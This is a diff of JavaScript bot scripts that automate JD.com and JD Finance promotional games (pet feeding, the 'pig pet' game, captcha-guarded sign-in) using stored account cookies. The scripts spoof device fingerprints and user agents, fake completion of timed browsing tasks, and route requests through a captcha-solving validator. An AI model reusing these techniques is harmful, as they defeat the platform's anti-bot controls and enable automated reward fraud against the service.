+    url: `${JD_API_HOST}?functionId=${function_id}&appid=coupon-necklace&loginType=2&client=coupon-necklace&t=${time}&body=${escape(JSON.stringify(body))}&uuid=${uuid}`,
    // url: `${JD_API_HOST}?functionId=${function_id}&appid=jd_mp_h5&loginType=2&client=jd_mp_h5&t=${time}&body=${escape(JSON.stringify(body))}`,
-    // headers: {
-    //   "accept": "*/*",
-    //   "accept-encoding": "gzip, deflate, br",
-    //   "accept-language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6",
-    //   "content-length": "0",
-    //   "cookie": cookie+$.joyytoken,
-    //   "origin": "https://h5.m.jd.com",
-    //   "referer": "https://h5.m.jd.com/",
-    //   "sec-fetch-dest": "empty",
-    //   "sec-fetch-mode": "cors",
-    //   "sec-fetch-site": "same-site",
-    //   "user-agent": UA
-    // }
+    headers: {
+      "accept": "*/*",
+      "accept-encoding": "gzip, deflate, br",
+      "accept-language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6",
+      "content-length": "0",
+      "cookie": cookie,
+      "origin": "https://h5.m.jd.com",
+      "referer": "https://h5.m.jd.com/",
+      "sec-fetch-dest": "empty",
+      "sec-fetch-mode": "cors",
+      "sec-fetch-site": "same-site",
+      "user-agent": UA
+    }
  }
 }
+function randomString() {
+  return Math.random().toString(16).slice(2, 10) +
+    Math.random().toString(16).slice(2, 10) +
+    Math.random().toString(16).slice(2, 10) +
+    Math.random().toString(16).slice(2, 10) +
+    Math.random().toString(16).slice(2, 10)
+}
+function getToken(timeout = 0){
+  return new Promise((resolve) => {
+    setTimeout( ()=>{
+      let url = {
+        url : `https://bh.m.jd.com/gettoken`,
+        headers : {
+          'Content-Type' : `text/plain;charset=UTF-8`
+        },
+        body : `content={"appname":"50082","whwswswws":"","jdkey":"","body":{"platform":"1"}}`
+      }
+      $.post(url, async (err, resp, data) => {
+        try {
+          data = JSON.parse(data);
+          joyToken = data.joyytoken;
+        } catch (e) {
+          $.logErr(e, resp);
+        } finally {
+          resolve()
+        }
+      })
+    },timeout)
+  })
+}
+function TotalBean() {
+  return new Promise(async resolve => {
+    const options = {
+      "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`,
+      "headers": {
+        "Accept": "application/json,text/plain, */*",
+        "Content-Type": "application/x-www-form-urlencoded",
+        "Accept-Encoding": "gzip, deflate, br",
+        "Accept-Language": "zh-cn",
+        "Connection": "keep-alive",
+        "Cookie": cookie,
+        "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2",
+        "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1")
+      }
+    }
+    $.post(options, (err, resp, data) => {
+      try {
+        if (err) {
+          console.log(`${JSON.stringify(err)}`)
+          console.log(`${$.name} API请求失败，请检查网路重试`)
+        } else {
+          if (data) {
+            data = JSON.parse(data);
+            if (data['retcode'] === 13) {
+              $.isLogin = false; //cookie过期
+              return
+            }
+            if (data['retcode'] === 0) {
+              $.nickName = (data['base'] && data['base'].nickname) || $.UserName;
+            } else {
+              $.nickName = $.UserName
+            }
+          } else {
+            console.log(`京东服务器返回空数据`)
+          }
+        }
+      } catch (e) {
+        $.logErr(e, resp)
+      } finally {
+        resolve();
+      }
+    })
+  })
+}
 function safeGet(data) {
  try {
    if (typeof JSON.parse(data) == "object") {
@@ -31,13 +31,15 @@ let cookiesArr = [], cookie = '', jdPetShareArr = [], isBox = false, notify, new
 //下面给出两个账号的填写示例（iOS只支持2个京东账号）
 let shareCodes = [ // IOS本地脚本用户这个列表填入你要助力的好友的shareCode
   //账号一的好友shareCode,不同好友的shareCode中间用@符号隔开
+  //'MTAxODc2NTEzNTAwMDAwMDAwMjg3MDg2MA==@MTAxODc2NTEzMzAwMDAwMDAyNzUwMDA4MQ==@MTAxODc2NTEzMjAwMDAwMDAzMDI3MTMyOQ==@MTAxODc2NTEzNDAwMDAwMDAzMDI2MDI4MQ==@MTAxODcxOTI2NTAwMDAwMDAxOTQ3MjkzMw==@MTAxODc2NTEzMDAwMDAwMDAxMzgwNTcyNw==@MTAxODc2NTEzMzAwMDAwMDAxMzgwNDg3OQ==@MTE1NDAxNzcwMDAwMDAwMzUxNDMwMDc=@MTE1NDQ5MzYwMDAwMDAwMzUxNDMwMTE=@MTE1NDUwMTI0MDAwMDAwMDM2OTQ2Mjk1@MTAxODc2NTEzMjAwMDAwMDAyMDUxMDY2OQ==',
  //账号二的好友shareCode,不同好友的shareCode中间用@符号隔开
+  //'MTAxODc2NTEzMjAwMDAwMDAzMDI3MTMyOQ==@MTAxODcxOTI2NTAwMDAwMDAyNjA4ODQyMQ==@MTAxODc2NTEzOTAwMDAwMDAyNzE2MDY2NQ==@MTE1NDUyMjEwMDAwMDAwNDI0MDM2MDc=@MTAxODc2NTEzMjAwMDAwMDAwNDA5MzAzMw==@MTAxODc2NTEzMDAwMDAwMDAxMzgwNTcyNw==@MTAxODc2NTEzMzAwMDAwMDAxMzgwNDg3OQ==@MTE1NDAxNzcwMDAwMDAwMzUxNDMwMDc=@MTE1NDQ5MzYwMDAwMDAwMzUxNDMwMTE=@MTE1NDUwMTI0MDAwMDAwMDM2OTQ2Mjk1@MTAxODc2NTEzMjAwMDAwMDAyMDUxMDY2OQ==',
 ]
 let message = '', subTitle = '', option = {};
 let jdNotify = false;//是否关闭通知，false打开通知推送，true关闭通知推送
 const JD_API_HOST = 'https://api.m.jd.com/client.action';
 let goodsUrl = '', taskInfoKey = [];
-let randomCount = $.isNode() ? 20 : 5;
+let randomCount = $.isNode() ? 0 : 0;
 !(async () => {
  await requireConfig();
  if (!cookiesArr[0]) {
@@ -134,14 +136,16 @@ async function jdPet() {
      await energyCollect();//收集好感度
      await showMsg();
      console.log('全部任务完成, 如果帮助到您可以点下🌟STAR鼓励我一下, 明天见~');
-    } else if (initPetTownRes.code === '0'){
-      console.log(`初始化萌宠失败:  ${initPetTownRes.message}`);
+    } else {
+      console.log(`等待10秒后重试`);
+      await $.wait(10000);
+      await jdPet();
    }
  } catch (e) {
    $.logErr(e)
-    const errMsg = `京东账号${$.index} ${$.nickName || $.UserName}\n任务执行异常，请检查执行日志 ‼️‼️`;
-    if ($.isNode()) await notify.sendNotify(`${$.name}`, errMsg);
-    $.msg($.name, '', `${errMsg}`)
+    // const errMsg = `京东账号${$.index} ${$.nickName || $.UserName}\n任务执行异常，请检查执行日志 ‼️‼️`;
+    // if ($.isNode()) await notify.sendNotify(`${$.name}`, errMsg);
+    // $.msg($.name, '', `${errMsg}`)
  }
 }
 // 收取所有好感度
@@ -439,7 +443,7 @@ async function showMsg() {
  }
  // jdNotify = `${notify.petNotifyControl}` === 'false' && `${jdNotify}` === 'false' && $.getdata('jdPetNotify') === 'false';
  if ($.ctrTemp) {
-    $.msg($.name, subTitle, message, option);
+    // $.msg($.name, subTitle, message, option);
    if ($.isNode()) {
      allMessage += `${subTitle}\n${message}${$.index !== cookiesArr.length ? '\n\n' : ''}`
      // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `${subTitle}\n${message}`);
@@ -448,29 +452,53 @@ async function showMsg() {
    $.log(`\n${message}\n`);
  }
 }
-function readShareCode() {
-  return new Promise(async resolve => {
-    $.get({url: `http://share.turinglabs.net/api/v3/pet/query/${randomCount}/`, 'timeout': 10000}, (err, resp, data) => {
-      try {
-        if (err) {
-          console.log(`${JSON.stringify(err)}`)
-          console.log(`${$.name} API请求失败，请检查网路重试`)
-        } else {
-          if (data) {
-            console.log(`随机取个${randomCount}码放到您固定的互助码后面(不影响已有固定互助)`)
-            data = JSON.parse(data);
-          }
-        }
-      } catch (e) {
-        $.logErr(e, resp)
-      } finally {
-        resolve(data);
-      }
-    })
-    await $.wait(10000);
-    resolve()
-  })
-}
+// function readShareCode() {
+//   return new Promise(async resolve => {
+//     $.get({url: `http://www.helpu.cf/jdcodes/getcode.php?type=pet&num=${randomCount}`, 'timeout': 10000}, (err, resp, data) => {
+//       try {
+//         if (err) {
+//           console.log(`${JSON.stringify(err)}`)
+//           console.log(`${$.name} API请求失败，请检查网路重试`)
+//         } else {
+//           if (data) {
+//             console.log(`随机取个${randomCount}码放到您固定的互助码后面(不影响已有固定互助)`)
+//             data = JSON.parse(data);
+//           }
+//         }
+//       } catch (e) {
+//         $.logErr(e, resp)
+//       } finally {
+//         resolve(data);
+//       }
+//     })
+//     await $.wait(10000);
+//     resolve()
+//   })
+// }
+//提交互助码
+// function submitCode() {
+//   return new Promise(async resolve => {
+//   $.get({url: `http://www.helpu.cf/jdcodes/submit.php?code=${$.petInfo.shareCode}&type=pet`, timeout: 10000}, (err, resp, data) => {
+//     try {
+//       if (err) {
+//         console.log(`${JSON.stringify(err)}`)
+//         console.log(`${$.name} API请求失败，请检查网路重试`)
+//       } else {
+//         if (data) {
+//           //console.log(`随机取个${randomCount}码放到您固定的互助码后面(不影响已有固定互助)`)
+//           data = JSON.parse(data);
+//         }
+//       }
+//     } catch (e) {
+//       $.logErr(e, resp)
+//     } finally {
+//       resolve(data);
+//     }
+//   })
+//   await $.wait(15000);
+//   resolve()
+//   })
+// }
 function shareCodesFormat() {
  return new Promise(async resolve => {
    // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`)
@@ -482,14 +510,12 @@ function shareCodesFormat() {
      const tempIndex = $.index > shareCodes.length ? (shareCodes.length - 1) : ($.index - 1);
      newShareCodes = shareCodes[tempIndex].split('@');
    }
-    /*
    //因好友助力功能下线。故暂时屏蔽
-    const readShareCodeRes = await readShareCode();
-    //const readShareCodeRes = null;
-    if (readShareCodeRes && readShareCodeRes.code === 200) {
-      newShareCodes = [...new Set([...newShareCodes, ...(readShareCodeRes.data || [])])];
-    }
-    */
+    // const readShareCodeRes = await readShareCode();
+    // //const readShareCodeRes = null;
+    // if (readShareCodeRes && readShareCodeRes.code === 200) {
+    //   newShareCodes = [...new Set([...newShareCodes, ...(readShareCodeRes.data || [])])];
+    // }
    console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify(newShareCodes)}`)
    resolve();
  })
@@ -521,8 +547,8 @@ function requireConfig() {
        }
      })
    } else {
-      if ($.getdata('jd_pet_inviter')) $.shareCodesArr = $.getdata('jd_pet_inviter').split('\n').filter(item => !!item);
-      console.log(`\nBoxJs设置的${$.name}好友邀请码:${$.getdata('jd_pet_inviter') ? $.getdata('jd_pet_inviter') : '暂无'}\n`);
+      if ($.getdata('PETSHARECODES')) $.shareCodesArr = $.getdata('PETSHARECODES').split('\n').filter(item => !!item);
+      console.log(`\nBoxJs设置的${$.name}好友邀请码:${$.getdata('PETSHARECODES') ? $.getdata('PETSHARECODES') : '暂无'}\n`);
    }
    // console.log(`$.shareCodesArr::${JSON.stringify($.shareCodesArr)}`)
    // console.log(`jdPetShareArr账号长度::${$.shareCodesArr.length}`)
@@ -1,30 +1,26 @@
 /*
-Last Modified time: 2021-5-19 12:27:16
-活动入口：京东金融养猪猪
-一键开完所有的宝箱功能。耗时70秒
-大转盘抽奖
-喂食
-每日签到
-完成分享任务得猪粮
+*
+京东金融养猪猪
+活动入口：京东金融养猪猪，
+脚本更新地址：https://github.com/zero205/JD_tencent_scf
 已支持IOS双京东账号,Node.js支持N个京东账号
-脚本兼容: QuantumultX, Surge, Loon, 小火箭，JSBox, Node.js
-===============Quantumultx===============
+脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js
+============Quantumultx===============
 [task_local]
-#京东金融养猪猪
-12 0-23/6 * * * https://gitee.com/lxk0301/jd_scripts/raw/master/jd_pigPet.js, tag=京东金融养猪猪, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdyz.png, enabled=true
-
+#摇钱树助力
+12 0-23/6 * * * https://raw.githubusercontent.com/zero205/JD_tencent_scf/main/jd_pigPet.js, tag=京东金融养猪猪, enabled=true
 ================Loon==============
 [Script]
-cron "12 0-23/6 * * *" script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_pigPet.js, tag=京东金融养猪猪
-
+cron "12 0-23/6 * * *" script-path=https://raw.githubusercontent.com/zero205/JD_tencent_scf/main/jd_pigPet.js,tag=摇钱树助力
 ===============Surge=================
-京东金融养猪猪 = type=cron,cronexp="12 0-23/6 * * *",wake-system=1,timeout=3600,script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_pigPet.js
-
+京东金融养猪猪 = type=cron,cronexp="12 0-23/6 * * *",wake-system=1,timeout=20,script-path=https://raw.githubusercontent.com/zero205/JD_tencent_scf/main/jd_pigPet.js
 ============小火箭=========
-京东金融养猪猪 = type=cron,script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_pigPet.js, cronexpr="12 0-23/6 * * *", timeout=3600, enable=true
- */
+京东金融养猪猪 = type=cron,script-path=https://raw.githubusercontent.com/zero205/JD_tencent_scf/main/jd_pigPet.js, cronexpr="12 0-23/6 * * *", timeout=3600, enable=true
+*
+*/

 const $ = new Env('金融养猪');
+const url = require('url');
 let cookiesArr = [], cookie = '', allMessage = '';
 const JD_API_HOST = 'https://ms.jr.jd.com/gw/generic/uc/h5/m';
 const MISSION_BASE_API = `https://ms.jr.jd.com/gw/generic/mission/h5/m`;
@@ -85,6 +81,9 @@ async function jdPigPet() {
    await pigPetLottery();
    await pigPetMissionList();
    await missions();
+    console.log('第一遍完成,开始领取可能的未领取:')
+    await pigPetMissionList();
+    await missions();
    await pigPetUserBag();
  } catch (e) {
    $.logErr(e)
@@ -147,7 +146,7 @@ function pigPetSignOne() {
 //查询背包食物
 function pigPetUserBag() {
  return new Promise(async resolve => {
-    const body = {"source":0,"channelLV":"yqs","riskDeviceParam":"{}","t":Date.now(),"skuId":"1001003004","category":"1001"};
+    const body = {"source":2,"channelLV":"yqs","riskDeviceParam":"{}","t":Date.now(),"skuId":"1001003004","category":"1001"};
    $.post(taskUrl('pigPetUserBag', body), async (err, resp, data) => {
      try {
        if (err) {
@@ -273,7 +272,7 @@ function pigPetLogin() {
 //开宝箱
 function pigPetOpenBox() {
  return new Promise(async resolve => {
-    const body = {"source":0,"channelLV":"yqs","riskDeviceParam":"{}","no":5,"category":"1001","t": Date.now()}
+    const body = {"source":2,"channelLV":"yqs","riskDeviceParam":"{}","no":5,"category":"1001","t": Date.now()}
    $.post(taskUrl('pigPetOpenBox', body), async (err, resp, data) => {
      try {
        if (err) {
@@ -316,7 +315,7 @@ function pigPetLotteryIndex() {
  $.currentCount = 0;
  return new Promise(async resolve => {
    const body = {
-      "source":0,
+      "source":2,
      "channelLV":"juheye",
      "riskDeviceParam": "{}"
    }
@@ -395,7 +394,7 @@ function pigPetSignIndex() {
 function pigPetLotteryPlay() {
  return new Promise(async resolve => {
    const body = {
-      "source":0,
+      "source":2,
      "channelLV":"juheye",
      "riskDeviceParam":"{}",
      "t":Date.now(),
@@ -434,20 +433,36 @@ function pigPetLotteryPlay() {
 }
 async function missions() {
  for (let item of $.missions) {
+    // console.log(JSON.stringify(item))
    if (item.status === 4) {
      console.log(`\n${item.missionName}任务已做完,开始领取奖励`)
      await pigPetDoMission(item.mid);
+      await $.wait(1000)
    } else if (item.status === 5){
      console.log(`\n${item.missionName}已领取`)
    } else if (item.status === 3){
+      // console.log(JSON.stringify(item))
      console.log(`\n${item.missionName}未完成`)
-      if (item.mid === 'CPD01') {
-        await pigPetDoMission(item.mid);
-      } else {
-        //TODO
-        // await pigPetDoMission(item.mid);
-        // await queryMissionReceiveAfterStatus(item.mid);
-        // await finishReadMission(item.mid);
+      await pigPetDoMission(item.mid);
+      await $.wait(1000)
+      let parse
+      if (item.url){
+        parse = url.parse(item.url,true,true)
+        console.log(JSON.stringify(parse))
+      }else{
+        parse = {}
+      }
+      if(parse.query && parse.query.readTime){
+        console.log(`做任务:${item.missionName}`)
+        // console.log(JSON.stringify(item))
+        await queryMissionReceiveAfterStatus(parse.query.missionId)
+        console.log(`等待:${parse.query.readTime}`)
+        await $.wait(parse.query.readTime*1000)
+        await finishReadMission(parse.query.missionId,parse.query.readTime)
+        await $.wait(1000)
+      } else if(parse.query && parse.query.juid) {
+        await getJumpInfo(parse.query.juid)
+        await $.wait(4000)
      }
    }
  }
@@ -456,10 +471,10 @@ async function missions() {
 function pigPetDoMission(mid) {
  return new Promise(async resolve => {
    const body = {
-      "source":0,
+      "source":2,
      "channelLV":"",
      "riskDeviceParam":"{}",
-      mid
+      "mid": mid
    }
    $.post(taskUrl('pigPetDoMission', body), (err, resp, data) => {
      try {
@@ -497,7 +512,7 @@ function pigPetDoMission(mid) {
 function pigPetMissionList() {
  return new Promise(async resolve => {
    const body = {
-      "source":0,
+      "source":2,
      "channelLV":"",
      "riskDeviceParam":"{}",
    }
@@ -531,21 +546,46 @@ function pigPetMissionList() {
    })
  })
 }
+function getJumpInfo(juid) {
+  return new Promise(async resolve => {
+    const options = {
+      "url": `${MISSION_BASE_API}/getJumpInfo?reqData={"juid":"${juid}"}`,
+      "headers": {
+        "Cookie": cookie,
+        'content-type': 'application/json',
+        'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148/application=JDJR-App&deviceId=1423833363730383d273532393d243445364-d224341443d2938333530323445433033353&eufv=1&clientType=ios&iosType=iphone&clientVersion=6.1.70&HiClVersion=6.1.70&isUpdate=0&osVersion=13.7&osName=iOS&platform=iPhone 6s (A1633/A1688/A1691/A1700)&screen=667*375&src=App Store&netWork=1&netWorkType=1&CpayJS=UnionPay/1.0 JDJR&stockSDK=stocksdk-iphone_3.5.0&sPoint=&jdPay=(*#@jdPaySDK*#@jdPayChannel=jdfinance&jdPayChannelVersion=6.1.70&jdPaySdkVersion=3.00.52.00&jdPayClientName=iOS*#@jdPaySDK*#@)',
+        'referer': 'https://u1.jr.jd.com/uc-fe-wxgrowing/cloudpig/index/?channel=gry&jrcontainer=h5&jrlogin=true',
+      }
+    }
+    $.get(options, (err, resp, data) => {
+      try {
+        if (err) {
+          console.log(`${JSON.stringify(err)}`)
+          console.log(`${$.name} API请求失败，请检查网路重试`)
+        } else {
+          if (data) {
+            console.log('getJumpInfo',data)
+          } else {
+            console.log(`京东服务器返回空数据`)
+          }
+        }
+      } catch (e) {
+        $.logErr(e, resp)
+      } finally {
+        resolve();
+      }
+    })
+  })
+}
 function queryMissionReceiveAfterStatus(missionId) {
  return new Promise(resolve => {
-    const body = {"missionId": missionId.toString()};
    const options = {
-      "url": `${MISSION_BASE_API}/queryMissionReceiveAfterStatus?reqData=%7B%2522missionId%2522:%2522${Number(missionId)}%2522%7D`,
+      "url": `${MISSION_BASE_API}/queryMissionReceiveAfterStatus?reqData={"missionId":"${missionId}"}`,
      "headers": {
-        "Accept": "*/*",
-        "Accept-Encoding": "gzip, deflate, br",
-        "Accept-Language": "zh-CN,zh;q=0.9",
-        "Connection": "keep-alive",
-        "Host": "ms.jr.jd.com",
        "Cookie": cookie,
-        "Origin": "https://jdjoy.jd.com",
-        "Referer": "https://jdjoy.jd.com/",
-        "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1")
+        'content-type': 'application/json',
+        'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148/application=JDJR-App&deviceId=1423833363730383d273532393d243445364-d224341443d2938333530323445433033353&eufv=1&clientType=ios&iosType=iphone&clientVersion=6.1.70&HiClVersion=6.1.70&isUpdate=0&osVersion=13.7&osName=iOS&platform=iPhone 6s (A1633/A1688/A1691/A1700)&screen=667*375&src=App Store&netWork=1&netWorkType=1&CpayJS=UnionPay/1.0 JDJR&stockSDK=stocksdk-iphone_3.5.0&sPoint=&jdPay=(*#@jdPaySDK*#@jdPayChannel=jdfinance&jdPayChannelVersion=6.1.70&jdPaySdkVersion=3.00.52.00&jdPayClientName=iOS*#@jdPaySDK*#@)',
+        'referer': 'https://u1.jr.jd.com/uc-fe-wxgrowing/cloudpig/index/?channel=gry&jrcontainer=h5&jrlogin=true',
      }
    }
    $.get(options, (err, resp, data) => {
@@ -556,17 +596,6 @@ function queryMissionReceiveAfterStatus(missionId) {
        } else {
          if (data) {
            console.log('queryMissionReceiveAfterStatus',data)
-            // data = JSON.parse(data);
-            // if (data.resultCode === 0) {
-            //   if (data.resultData.resultCode === 0) {
-            //     if (data.resultData.resultData) {
-            //       // console.log(`当前大转盘剩余免费抽奖次数：：${data.resultData.resultData.currentCount}`);
-            //       $.currentCount = data.resultData.resultData.currentCount;//抽奖后剩余的抽奖次数
-            //     }
-            //   } else {
-            //     console.log(`其他情况：${JSON.stringify(data)}`)
-            //   }
-            // }
          } else {
            console.log(`京东服务器返回空数据`)
          }
@@ -580,21 +609,15 @@ function queryMissionReceiveAfterStatus(missionId) {
  })
 }
 //做完浏览任务发送信息API
-function finishReadMission(missionId) {
+function finishReadMission(missionId,readTime) {
  return new Promise(async resolve => {
-    const body = {"missionId": missionId.toString(),"readTime":10};
    const options = {
-      "url": `${MISSION_BASE_API}/finishReadMission?reqData=%7B%2522missionId%2522:%2522${Number(missionId)}%2522,%2522readTime%2522:10%7D`,
+      "url": `${MISSION_BASE_API}/finishReadMission?reqData={"missionId":"${missionId}","readTime":${readTime}}`,
      "headers": {
-        "Accept": "*/*",
-        "Accept-Encoding": "gzip, deflate, br",
-        "Accept-Language": "zh-CN,zh;q=0.9",
-        "Connection": "keep-alive",
-        "Host": "ms.jr.jd.com",
        "Cookie": cookie,
-        "Origin": "https://jdjoy.jd.com",
-        "Referer": "https://jdjoy.jd.com/",
-        "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1")
+        'content-type': 'application/json',
+        'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148/application=JDJR-App&deviceId=1423833363730383d273532393d243445364-d224341443d2938333530323445433033353&eufv=1&clientType=ios&iosType=iphone&clientVersion=6.1.70&HiClVersion=6.1.70&isUpdate=0&osVersion=13.7&osName=iOS&platform=iPhone 6s (A1633/A1688/A1691/A1700)&screen=667*375&src=App Store&netWork=1&netWorkType=1&CpayJS=UnionPay/1.0 JDJR&stockSDK=stocksdk-iphone_3.5.0&sPoint=&jdPay=(*#@jdPaySDK*#@jdPayChannel=jdfinance&jdPayChannelVersion=6.1.70&jdPaySdkVersion=3.00.52.00&jdPayClientName=iOS*#@jdPaySDK*#@)',
+        'referer': 'https://u1.jr.jd.com/uc-fe-wxgrowing/cloudpig/index/?channel=gry&jrcontainer=h5&jrlogin=true',
      }
    }
    $.get(options, (err, resp, data) => {
@@ -605,17 +628,6 @@ function finishReadMission(missionId) {
        } else {
          if (data) {
            console.log('finishReadMission',data)
-            // data = JSON.parse(data);
-            // if (data.resultCode === 0) {
-            //   if (data.resultData.resultCode === 0) {
-            //     if (data.resultData.resultData) {
-            //       // console.log(`当前大转盘剩余免费抽奖次数：：${data.resultData.resultData.currentCount}`);
-            //       $.currentCount = data.resultData.resultData.currentCount;//抽奖后剩余的抽奖次数
-            //     }
-            //   } else {
-            //     console.log(`其他情况：${JSON.stringify(data)}`)
-            //   }
-            // }
          } else {
            console.log(`京东服务器返回空数据`)
          }
@@ -675,19 +687,12 @@ function TotalBean() {
 function taskUrl(function_id, body) {
  return {
    url: `${JD_API_HOST}/${function_id}?_=${Date.now()}`,
-    body: `reqData=${encodeURIComponent(JSON.stringify(body))}`,
-    headers: {
-      'Accept' : `*/*`,
-      'Origin' : `https://u.jr.jd.com`,
-      'Accept-Encoding' : `gzip, deflate, br`,
-      'Cookie' : cookie,
-      'Content-Type' : `application/x-www-form-urlencoded;charset=UTF-8`,
-      'Host' : `ms.jr.jd.com`,
-      'Connection' : `keep-alive`,
-      // 'User-Agent' : `jdapp;iPhone;9.0.0;13.4.1;e35caf0a69be42084e3c97eef56c3af7b0262d01;network/4g;ADID/F75E8AED-CB48-4EAC-A213-E8CE4018F214;supportApplePay/3;hasUPPay/0;pushNoticeIsOpen/1;model/iPhone11,8;addressid/2005183373;hasOCPay/0;appBuild/167237;supportBestPay/0;jdSupportDarkMode/0;pv/1287.19;apprpd/MyJD_GameMain;ref/https%3A%2F%2Fuua.jr.jd.com%2Fuc-fe-wxgrowing%2Fmoneytree%2Findex%2F%3Fchannel%3Dyxhd%26lng%3D113.325843%26lat%3D23.204628%26sid%3D2d98e88cf7d182f60d533476c2ce777w%26un_area%3D19_1601_50258_51885;psq/1;ads/;psn/e35caf0a69be42084e3c97eef56c3af7b0262d01|3485;jdv/0|kong|t_1000170135|tuiguang|notset|1593059927172|1593059927;adk/;app_device/IOS;pap/JA2015_311210|9.0.0|IOS 13.4.1;Mozilla/5.0 (iPhone; CPU iPhone OS 13_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`,
-      'User-Agent' : `jdapp;android;8.5.12;9;network/wifi;model/GM1910;addressid/1302541636;aid/ac31e03386ddbec6;oaid/;osVer/28;appBuild/73078;adk/;ads/;pap/JA2015_311210|8.5.12|ANDROID 9;osv/9;pv/117.24;jdv/0|kong|t_1000217905_|jingfen|644e9b005c8542c1ac273da7763971d8|1589905791552|1589905794;ref/com.jingdong.app.mall.WebActivity;partner/oppo;apprpd/Home_Main;Mozilla/5.0 (Linux; Android 9; GM1910 Build/PKQ1.190110.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36 Edg/86.0.4240.111`,
-      'Referer' : `https://u.jr.jd.com/`,
-      'Accept-Language' : `zh-cn`
+    body: `reqData=${JSON.stringify(body)}`,
+    "headers": {
+      "Cookie": cookie,
+      'content-type': 'application/json',
+      'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148/application=JDJR-App&deviceId=1423833363730383d273532393d243445364-d224341443d2938333530323445433033353&eufv=1&clientType=ios&iosType=iphone&clientVersion=6.1.70&HiClVersion=6.1.70&isUpdate=0&osVersion=13.7&osName=iOS&platform=iPhone 6s (A1633/A1688/A1691/A1700)&screen=667*375&src=App Store&netWork=1&netWorkType=1&CpayJS=UnionPay/1.0 JDJR&stockSDK=stocksdk-iphone_3.5.0&sPoint=&jdPay=(*#@jdPaySDK*#@jdPayChannel=jdfinance&jdPayChannelVersion=6.1.70&jdPaySdkVersion=3.00.52.00&jdPayClientName=iOS*#@jdPaySDK*#@)',
+      'referer': 'https://u1.jr.jd.com/uc-fe-wxgrowing/cloudpig/index/?channel=gry&jrcontainer=h5&jrlogin=true',
    }
  }
 }
@@ -1,11 +1,16 @@
 /* 
-
+cron 14 10 * * * https://raw.githubusercontent.com/smiek2221/scripts/master/jd_sign_graphics.js
 只支持nodejs环境
-14 10 * * *
+需要安装依赖 
+npm i png-js 或者 npm i png-js -S
+
+如果 read ECONNRESET 错误 可以试试
+环境变量 JOY_HOST
+修改域名 https://jdjoy.jd.com 可以改成ip https://49.7.27.236
 */

-const validator = require('./JDJRValidator_Pure.js');
-const Faker=require('./jd_sign_validate.js') 
+const validator = require('./JDJRValidator_Smiek.js');
+const Faker=require('./sign_graphics_validate.js') 

 const $ = new Env('京东签到图形验证');
 const notify = $.isNode() ? require('./sendNotify') : '';
@@ -27,6 +32,10 @@ let UA = ""
 let signFlag = false
 let successNum = 0
 let errorNum = 0
+let JD_API_HOST = 'https://jdjoy.jd.com'
+if(process.env.JOY_HOST){
+  JD_API_HOST = process.env.JOY_HOST
+}

 const turnTableId = [
  { "name": "京东商城-内衣", "id": 1071, "url": "https://prodev.m.jd.com/mall/active/4PgpL1xqPSW1sVXCJ3xopDbB1f69/index.html" },
@@ -38,8 +47,9 @@ const turnTableId = [
  { "name": "京东商城-数码", "id": 347, "url": "https://prodev.m.jd.com/mall/active/4SWjnZSCTHPYjE5T7j35rxxuMTb6/index.html" },
  { "name": "京东超市", "id": 1204, "url": "https://pro.m.jd.com/mall/active/QPwDgLSops2bcsYqQ57hENGrjgj/index.html" },
 ]
-$.get = validator.injectToRequest($.get.bind($), 'channelSign')
-$.post = validator.injectToRequest($.post.bind($), 'channelSign')
+$.UA = $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1")
+$.get = validator.injectToRequest($.get.bind($), 'channelSign', $.UA)
